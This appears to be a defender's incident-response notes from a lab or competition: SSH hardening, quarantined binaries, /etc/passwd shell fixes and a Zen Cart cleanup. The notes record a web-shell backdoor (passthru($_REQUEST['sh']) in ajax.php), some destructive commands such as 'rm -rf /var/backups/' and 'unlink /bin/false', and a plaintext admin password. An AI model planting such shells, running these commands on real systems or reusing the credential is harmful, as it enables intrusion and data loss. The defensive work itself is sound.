/etc/ssh/sshd\_config

* Changed PasswordAuthentication no
* Commented out Subsystem sftp
* Commented out AuthorizedKeysFile /etc/ssh/ssh\_host\_ed256\_key
* Added everyone’s key to /root/.ssh/authorized\_keys

Suspicious processes:

* chmod 000 /usr/bin/morepipe
* chmod 000 /sbin/fsdisk

Suspicious binaries and dirs:

* unlink /bin/false
* chmod 000 /usr/share/bash-completion/helpers
* rm -rf /var/backups/
* chmod 000 /bin/fsck.ext4
* mv /usr/local/sbin/run-parts /var/www/bad/
* Rm -rf /usr/sbin/dpkg-update

/etc/passwd

* changed bin:x:2:2:bin:/bin:/bin/sh to bin:x:2:2:bin:/bin:/bin/nologin
* Changed all /bin/false to /usr/sbin/nologin

Zencart

Admin login https://10.101.101.77/manage/

* Shell command in /var/www/zencart/ajax.php

- Commented out passthru($\_REQUEST['sh']);

* mv /var/www/zencart/extras/wgettester.php /var/www/bad/
* Admin cred changed using mysql command.

- OkwVAEKH1hrAA13tuRck1

* Zencart upgraded to 1.5.6c